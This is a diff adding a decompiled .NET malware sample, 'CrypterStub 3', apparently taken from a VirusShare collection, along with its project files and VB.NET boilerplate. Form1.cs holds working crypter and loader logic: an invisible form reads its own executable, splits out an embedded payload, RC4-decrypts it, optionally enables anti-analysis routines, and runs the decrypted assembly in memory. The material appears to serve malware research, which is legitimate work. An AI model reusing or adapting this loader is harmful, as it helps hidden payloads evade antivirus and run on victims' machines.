+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(10, 10);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (Form1);
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.Manual;
+      this.ResumeLayout(false);
+    }
+
+    private byte[] StringToByteArray(string str) => new ASCIIEncoding().GetBytes(str);
+
+    private void RunFromMemory(byte[] bytes)
+    {
+      Assembly assembly = Assembly.Load(bytes);
+      MethodInfo entryPoint = assembly.EntryPoint;
+      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
+      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), new object[1]
+      {
+        (object) new string[1]{ "1" }
+      });
+    }
+
+    public static byte[] RC4EnDeCrypt(byte[] plaintxt, byte[] password)
+    {
+      byte[] numArray = new byte[checked (plaintxt.Length + 1)];
+      int[] sbox = new int[257];
+      int index1 = 0;
+      int index2 = 0;
+      Form1.RC4Initialize(password, ref sbox);
+      int num1 = checked (plaintxt.Length - 1);
+      int index3 = 0;
+      while (index3 <= num1)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + sbox[index1]) % 256;
+        int num2 = sbox[index1];
+        sbox[index1] = sbox[index2];
+        sbox[index2] = num2;
+        int num3 = sbox[checked (sbox[index1] + sbox[index2]) % 256];
+        plaintxt[index3] = (byte) ((int) plaintxt[index3] ^ (int) Convert.ToByte(num3));
+        checked { ++index3; }
+      }
+      return plaintxt;
+    }
+
+    protected static void RC4Initialize(byte[] key, ref int[] sbox)
+    {
+      int length = key.Length;
+      int index1 = 0;
+      do
+      {
+        sbox[index1] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (int) byte.MaxValue);
+      int index2 = 0;
+      int index3 = 0;
+      do
+      {
+        index2 = checked (index2 + sbox[index3] + (int) key[unchecked (index3 % length)]) % 256;
+        int num = sbox[index3];
+        sbox[index3] = sbox[index2];
+        sbox[index2] = num;
+        checked { ++index3; }
+      }
+      while (index3 <= (int) byte.MaxValue);
+    }
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      string Delimiter = "~~||$CyCrYpTeR$||~~";
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      try
+      {
+        string[] strArray = Strings.Split(Expression, Delimiter);
+        string s = strArray[1];
+        byte[] bytes = Encoding.ASCII.GetBytes(strArray[2]);
+        if (Operators.CompareString(strArray[3], "true", false) == 0)
+          Antis.Enable();
+        byte[] parameter = Form1.RC4EnDeCrypt(Convert.FromBase64String(s), bytes);
+        Thread thread = new Thread((ParameterizedThreadStart) (a0 => this.RunFromMemory((byte[]) a0)));
+        thread.TrySetApartmentState(ApartmentState.STA);
+        thread.Start((object) parameter);
+        this.Close();
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyApplication
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyComputer
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyProject
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettings
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace CrypterStub_3.My
+{
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettingsProperty
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My
+{
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.Resources.Resources
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My.Resources
+{
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) CrypterStub_3.My.Resources.Resources.resourceMan, (object) null))
+          CrypterStub_3.My.Resources.Resources.resourceMan = new ResourceManager("CrypterStub_3.Resources", typeof (CrypterStub_3.My.Resources.Resources).Assembly);
+        return CrypterStub_3.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => CrypterStub_3.My.Resources.Resources.resourceCulture;
+      set => CrypterStub_3.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/Packed.MSIL.MSILPack.a.csproj

@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{C521E79A-6743-4BC6-ACA8-80BAC1E7DF6B}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>CrypterStub 3</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>CrypterStub_3</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Antis.cs" />
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/Packed.MSIL.MSILPack.a.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CrypterStub 3", "Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.csproj", "{C521E79A-6743-4BC6-ACA8-80BAC1E7DF6B}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{C521E79A-6743-4BC6-ACA8-80BAC1E7DF6B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{C521E79A-6743-4BC6-ACA8-80BAC1E7DF6B}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{C521E79A-6743-4BC6-ACA8-80BAC1E7DF6B}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{C521E79A-6743-4BC6-ACA8-80BAC1E7DF6B}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
